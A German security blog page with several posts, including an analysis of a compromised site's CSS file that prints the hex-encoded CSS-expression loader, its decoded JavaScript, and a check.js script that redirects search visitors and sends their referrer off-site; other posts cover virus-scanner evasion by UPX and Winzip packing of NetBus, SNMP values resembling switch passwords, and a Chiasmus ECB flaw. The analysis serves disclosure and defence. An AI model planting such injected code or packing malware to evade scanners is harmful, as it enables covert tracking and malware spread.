| M | D | M | D | F | S | S |
|---|---|---|---|---|---|---|
| « Aug | ||||||
| 1 | 2 | 3 | ||||
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | |
Mich wundert ja, dass sowas noch funktioniert. Aber gut, HTML-„Programmierer“ gibt es eben überall. Als Suchanfrage habe ich einen einzelnen Singlequote verwendet:
Ach ja, schon vor Wochen. Aber bei Münchenticket scheint nicht nur die Suche nicht richtig zu funktionieren, auch die Benachrichtigung der Administration hat offensichtlich eine Macke.
Zur Zeit scheint es sich wieder zu häufen, dass Webseiten kompromittiert werden. Zumindest ist das mein persönlicher Eindruck wenn man so durch das Internet surft. Im Gegensatz zu früher findet man jedoch kaum noch Defacements, statt dessen werden CSS-Dateien möglichst unauffällig infiziert:
/* a0b4df006e02184c60dbf503e71c87ad */
body { margin-top: expression(
eval(unescape('
%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74
%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53
%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A
%53%53%32%20%3D%20%35%38%35%32%36%31%3B%20%4A%53%53
%33%20%3D%20%27%2F%6C%69%76%69%6E%67%2D%70%6C%61%6E
%65%74%2F%34%69%6D%61%67%65%73%2F%74%65%6D%70%6C%61
%74%65%73%2F%69%6E%65%67%69%62%65%2F%64%75%6D%6D%79
%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64
%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65
%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A
%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73
%72%63%27%2C%20%27%2F%6C%69%76%69%6E%67%2D%70%6C%61
%6E%65%74%2F%34%69%6D%61%67%65%73%2F%74%65%6D%70%6C
%61%74%65%73%2F%69%6E%65%67%69%62%65%2F%63%68%65%63
%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74
%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53
%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74
%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65
%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E
%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D
%3B%20
'))) }
/* a995d2cc661fa72452472e9554b5520c */
Wenn man den Hex-Code mittels Unescape dekodiert, findet man folgenden Javascript:
if (!document.getElementById('JSSS')){ JSS1 = 59; JSS2 = 585261; JSS3 = '/living-planet/4images/templates/inegibe/dummy.htm'; var js = document.createElement('script'); js.setAttribute('src', '/living-planet/4images/templates/inegibe/check.js'); js.setAttribute('id', 'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) };
Und in der Datei check.js dann die eigentliche Schadfunktion:
if ( (Math.random()*60 < JSS1) && document.referrer.match(/^http:\/\/([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport| mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\./) && document.referrer.match(/[?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string| search_word|buscar|text|words|su|qt|rdata)\=/) && !document.referrer.match(/[?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string| search_word|buscar|text|words|su|qt|rdata)\=[^&]+(%3A|%22)/) ){ location.href=JSS3+'?r='+encodeURIComponent(document.referrer)+'&s='+JSS2; };
Das Javascript-Segment prüft also meinen Referer und schickt den durch die Gegend. Für mich sieht das wie klassisches aber unauffälliges Ausspionieren aus. Sehr unfreundlich. Vielleicht sollte man den Betreiber des Servers www.sixstorms.de (Vorsicht beim Klicken!) warnen. Ich finde nur gerade keine Mailadresse. Eigentlich aber auch egal. Wer Firefox und Noscript verwendet ist vor dem Angriff geschützt, der Rest sind dann vermutlich Kollateralschäden.
Secunia hat die erste Statistik zur Aktualität von Software auf Windows-Rechnern veröffentlicht. Ganze 2% aller mit dem Personal Software Inspector untersuchten Systeme sind auf einem aktuellen und sicheren Stand.
Nuja, das sind im Grunde sogar noch 1,5% mehr als ich persönlich erwartet hätte und die Tendenz zeigt vermutlich, dass es zukünftig noch weniger Systeme werden.
Patchmanagement ist meiner Meinung nach ja die zweite Defense-in-Depth Technologie nach Antivirus, die uns in den nächsten Jahren um die Ohren fliegen wird.
Zumindest sieht das Elcomsoft so, die russische Firma, die Passwort Recovery Programme (sprich: Hackingtools) für verschiedene verschlüsselte Dokumente u.a. eben auch Adobes Acrobat 9 anbieten.
Das Problem liegt dabei trivial in der Geschwindigkeit, wie die eingegebenen Passwörter zu Hashes verarbeitet werden, die dann als Verschlüsselungskeys eingesetzt werden. Man kann beispielsweise das Passwort nehmen und einen MD5-Hash daraus machen. Das ist sehr schnell aber man kann automatisiert dann eben auch sehr schnell sehr viele Passwörter ausprobieren. Umgekehrt macht es dem Anwender in der Regel nichts aus, wenn der Computer nach Eingabe des Passworts vielleicht 0,5 Sekunden rechnet. Matasano hatte dazu einen detaillierten Artikel geschrieben, den ich hier verlinkt hatte.
Laut Angabe von Elcomsoft lassen sich die Passwörter etwa um den Faktor 100 schneller ermitteln. Das klingt nicht dramatisch, in Kombination mit anderen Verfahren wie beispielsweise die GPUs der Grafikkarten für die Berechnung mit einzuspannen, was ebenfalls einen Faktor von etwa 100 bringt, wird es langsam etwas beängstigend.
Bei Adobe geht der Fehler einher mit dem Wechsel von MD5 auf SHA1 und von AES-128 auf AES-256. Im Ergebnis ist jedoch der Schutz mit Passwörtern bis etwa 8 Zeichen schlechter als in älteren Adobe Acrobat Versionen. Vermutlich hat der Junior Programmierer, der SHA1 implementiert hat, einfach nur keine Ahnung von sicheren Passwörtern gehabt. Für Adobe hat der dumme Fehler jetzt aber anscheinend auch den Vorteil, das teure Public Key Verschlüsselungsprodukt LiveCycle Rights zu vermarkten.
Naja, jetzt ist der Geist aus der Flasche, aktuell kann man wahrscheinlich am ehesten noch empfehlen, die alte 128-Bit Verschlüsselung zu verwenden. Das ist dann nämlich sicherer und gleichzeitig abwärtskompatibel.
Wenn es mir die Zeit erlaubt, spiele ich gerne ein wenig mit Virenscannern rum. Insbesondere die erschreckend schlechte Erkennungsquote bei trivialen Dateiveränderungen fasziniert mich immer wieder. Im Rahmen der Vorbereitung eines Vortrags habe ich ein paar Tests durchgeführt um zu sehen, wie es mit Virenscannern eigentlich so aussieht. Dafür habe ich ein bekanntes Schadprogramm verwendet, hier die Remote-Komponente von NetBus 1.70 und gekuckt, wie gut die Virenscanner diese Datei erkennen.
NetBus 1.70 ist zwar steinalt, im Kaspersky-Weblog (Viren-Almanach Nr. 8, September 2008) stand jedoch, dass im September eine Variante von NetBus als bestgetarnter Schädling aufgetaucht ist, daher dachte ich, jeder Virenscannerhersteller müsste ein gesteigertes Interesse daran haben, dieses Programm zu erkennen.
Dazu habe ich die Patch.exe einmal direkt an Virustotal geschickt, einmal als UPX (UPX 3.03w, Optionen -f –ultra-brute) gepacktes Executable, einmal als Winzip-Archiv (Winzip Pro 10.0, bzip2-Archiv, maximale Kompression), und einmal als Winzip-gepacktes UPX.
Hier sind die Ergebnisse …
Nein, nicht die Chinesen bei Olympia sondern Symantec. Und nicht den Guinness-Rekord für den langsamsten Virenscanner der Welt 🙂 sondern den Secunia-Ehrenpreis für die meisten erkannten Exploits durch die Norton Internet Security Suite. Immerhin 20% der Secunia-Exploits werden erkannt, im Gegensatz zu so etwa 2-3% bei den Mitbewerbern. Details zum Test hat Secunia hier im PDF aufgeführt.
Man kann jetzt darüber streiten wie die Ergebnisse zustande gekommen sind. Beispielsweise, ob Symantec die Exploits bereits kannte und die Suite darauf optimiert hat. Das finde ich aber eigentlich uninteressant.
Die Kernfrage ist eigentlich: Ist so eine Endkundensuite die richtige Stelle um Exploits zu erkennen und zu verhindern?
Natürlich ist es für die Anwender hilfreich, wenn bestimmte Angriffe auf das ungepatchte System so verhindert werden. Andererseits wird es niemals eine Suite geben, die eine große Anzahl an Exploits zuverlässig erkennen kann, da die Exploits immer wieder variiert oder neu entwickelt und verändert werden. Die Gefahr die ich sehe ist, dass sich Anwender auf den scheinbar so tollen Schutz dieser Software verlassen und dabei das Patchen und Aktualisieren der Software vernachlässigen. Der beste Schutz vor Exploits ist jedoch immer noch eine aktuelle, gepatchte Software ohne Lücke.
Aus dieser Überlegung heraus wäre mir z.B. eine Internet Security Suite die mich auf veraltete und nicht gepatchte Software hinweist wertvoller. Ein Virenscanner der sowieso alle gelesenen Dateien prüft sollte leicht in der Lage sein, so einen Check mal eben mitdurchzuführen. Mich erstaunt immer wieder, wie viele alte und nicht mehr benötigte Softwarepakete wie z.B. uralte Java-Installationen auf meinen Rechnern sind. Der Secunia Personal Software Inspector gehört beispielsweise in die Kategorie von Software auf die ich auf meinen Rechnern nicht mehr verzichten möchte. Gleichzeitig werden die Anwender sensibilisiert und passen vielleicht besser auf, dass die auf ihren Systemen installierte Software halbwegs aktuell gehalten wird.
(via Heise)
Ich suche eine MIB-Definition für folgende OIDs:
Auf jeden Fall von einem HP J4813A ProCurve Switch 2524. Möglicherweise die icfSecurityMib aber in den MIBs die ich habe finde ich nichts (HP-ICF-SECURITY und HP-ICF-OID). Ich habe so den Verdacht, dass da bei einem HP ProCurve Switch ein paar Passwörter drinstehen könnten. Die erste OID hat bei mir den Wert „public“, das sieht aus wie der SNMP Community String. Die zweite OID enthält „cru3sl1“, die dritte „b@mbix“. Sieht verdächtig aus nach Passwörtern.
Gefunden habe ich die Werte bei einem Security-Scan. Die Geräte haben sich am Foundstone SNMP-Scanner wie folgt identifiziert:
Die OIDs habe ich mit einem SNMP-Walk mit dem iReasoning MIB-Browser gefunden aber leider keine Beschreibung dafür. Für Hilfe gebe ich auf dem nächsten Chaos Computer Congress ein Bier aus 🙂
Ich frage mich ja schon seit einiger Zeit, was sich das BSI mit „Chiasmus“ da so als Verschlüsselungsalgorithmus ausgedacht hat.
Das BSI selbst schreibt über Chiasmus: „Kern des Programms ist der BSI-eigene symmetrische Blockchiffrieralgorithmus Chiasmus. […] Chiasmus verschlüsselt 64-Bit-Blöcke in Abhängigkeit eines 160-Bit-Schlüssels in 64-Bit-Blöcke. Chiasmus für Windows verwendet Chiasmus im CBC-Modus (Cipher block chaining). Die effektive Schlüssellänge beträgt 128 Bit, die restlichen 32 Bit bilden eine Checksumme.“
Leider ist der Algorithmus anscheinend geheim und da bei mir recht offensichtlich zur Zeit kein öffentliches Interesse an der Nutzung besteht, habe ich keinen direkten Zugriff auf die Chiasmus-Software. Aber es gibt ja das BSI GSTOOL, das es ebenfalls erlaubt mit Chiasmus Daten zu ver- und entschlüsseln und vielleicht gibt das ja schon mal ein paar Hinweise auf die Art und Weise der Verschlüsselung oder zumindest der Implementierung.
Das GSTOOL erlaubt es, eine Datenbankdatei mit einem vorhandenen Schlüsselfile zu verschlüsseln, die Erzeugung von Schlüsseldateien selbst ebenfalls möglich. Zudem verrät die Software, dass Chiasmus-Schlüsseldateien auf „ckf“ enden, vermutlich für „Chiasmus Key File“. Ich habe deshalb einfach mal eine Datei chiasmus.ckf mit dem Inhalt „aaaaaaaaaaaaaaaaaaaa“ erzeugt, denn 20 Zeichen je 8 Bit ergeben genau 160 Bit.
Als nächstes habe ich eine definierte Datei zur Verschlüsselung erzeugt. Eine echte MDB-Datei zu verschlüsseln ist einfach nicht aussagekräftig. Die Datei dazu ist einfach ein Textfile mit der Endung .mdb und dem Inhalt „aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa“, also 40 mal der Buchstabe „a“. Der folgende Screenshot zeigt, wie sich das im GSTOOL darstellt:
Interessanterweise ließ sich meine Datei verschlüsseln. Das Ergebnis ist eine Datei mit diesem Inhalt: „GSTOOL 3.0 – Chiasmus Encrypted File – OriginalFileSize:0000000000000040P2–VßÏQKP2–VßÏQKP2–VßÏQKP2–VßÏQKP2–VßÏQK
*€ðþ“
Die von mir verwendete GSTOOL-Version war 4.5, die aktuell von der Webseite des BSI zum Download angeboten wird. Das ist aber eigentlich egal. Interessant ist die im GSTOOL verwendete Chiasmus-Implementierung:
1. Die Schlüsseldatei mit 20 x a kann niemals eine Schlüsseldatei sein die aus einem 128 Bit Schlüssel und 32 Bit gültiger Prüfsumme besteht. Wenn Chiasmus tatsächlich eine solche Prüfsumme verwendet und nur der Schlüssel in der Datei steht, dann ignoriert die im GSTOOL verwendete Implementierung diese Prüfsumme einfach. Es gab bei der Verwendung des Schlüssels auch keine Warnung oder Fehlermeldung. Im Zweifelsfall wäre einfach mit einem korrupten Keyfile verschlüsselt worden. Das alleine finde ich schon mal nicht nett. Denkbar ist natürlich auch, dass eine Datei die keinen korrekten Schlüssel mit Prüfsumme enthält als Passwort-Datei interpretiert wird. Eine Verschlüsselung mit einem Keyfile, das nur ein „a“ enthält funktioniert nämlich auch und die vom GSTOOL erzeugten Schlüsselfiles sind mit 104 Byte deutlich länger als 160 Bit. Aber selbst dann hätte ich zumindest gerne eine Warnung.
2. Von Cipher Block Chaining kann auch nicht die Rede sein. Man sieht den Chiasmus-Header der nach der Ziffer 0000000000000040 endet denn die Originaldatei war 40 Zeichen lang. „P2–VßÏQK“ ist der erste verschlüsselte Datenblock, 8 Zeichen, also verwendet Chiasmus tatsächlich 64-Bit Datenblöcke bei der Verschlüsselung. Dieser Block wiederholt sich identisch fünf mal. Danach kommt ein Newline und vermutlich eine Prüfsumme über die Datei (die bei der Entschlüsselung mit dem GSTOOL nicht überprüft wird). Bei Cipher Block Chaining sollte jedoch jeder Datenblock mittels XOR mit dem verschlüsselten vorherigen Datenblock verknüpft werden, damit eben gerade zwei identische Datenblöcke nicht den gleichen Cryptotext ergeben. Implementiert ist offensichtlich statt dessen der Electronic Code Book Mode.
Das wirft ein paar Probleme auf. Zum einen besteht bei einer fehlerhaften Implementierung von Chiasmus im GSTOOL die Gefahr, dass Mitarbeiter von Behörden die mit dem GSTOOL arbeiten, sich auf die Sicherheit der Datenverschlüsselung verlassen. Die ist jedoch mangels Cipher Block Chaining deutlich schwächer als erwartet. Zum anderen besteht die Gefahr, dass sich mit dem GSTOOL verschlüsselte Daten nicht mehr mit anderen Chiasmus-Implementierungen entschlüsseln lassen, die den Algorithmus korrekt implementieren.
Ich habe ja inzwischen den ernsthaften Verdacht, dass die im GSTOOL enthaltene Chiasmus-Implementierung mit der ebenfalls vom BSI angebotenen Software „Chiasmus für Windows 1.7“ überhaupt nichts zu tun hat. Beispielsweise enthalten verschlüsselte Chiasmus für Windows Dateien den Anfang „XIA1“. Aber gerade darum ist der Etikettenschwindel auch im Hinblick auf legitime Gründe zur Geheimhaltung von Daten in Behörden nicht gerade klug. Anwender die ihre Grundschutzdaten sicher mit Chiasmus verschlüsselt glauben, werden über die tatsächliche Sicherheit getäuscht.
Snake Oil?
Eigentlich war das ja nur eine Frage der Zeit und ich predige das Thema schon seit drei Jahren auf meinen diversen Vorträgen. Jetzt ist es endlich soweit.
Nessus hat ja schon seit geraumer Zeit in den Vulnerability-Scanner ein paar SCADA-Module eingebaut (die meisten nur zur Erkennung von SCADA-Komponenten) aber Exploits fehlten bisher. Kevin Finisterre von SNOsoft hat für die SCADA-Software von Citect einen Exploit für Metasploit veröffentlicht.
Jetzt wird es endlich spannend 🙂 Ach ja, und ich muss meine Präsentationen aktualisieren.
GPS Spoofing scheint erschreckend einfach zu sein und hat interessante Anwendungsmöglichkeiten, beispielsweise nach dem Diebstahl eines GPS-überwachten Geldtransporters einen falschen Standort des Transporters zu simulieren.
Mir war beispielsweise nicht bekannt, dass es komplette Satelliten-Simulatoren gibt, die ein GPS-Signal wie ein Satellit aussenden. Weiß eigentlich jemand, ob die Nutzung solcher Geräte in Deutschland legal ist? GSM-Jammer darf man ja leider zum Glück nicht einsetzen.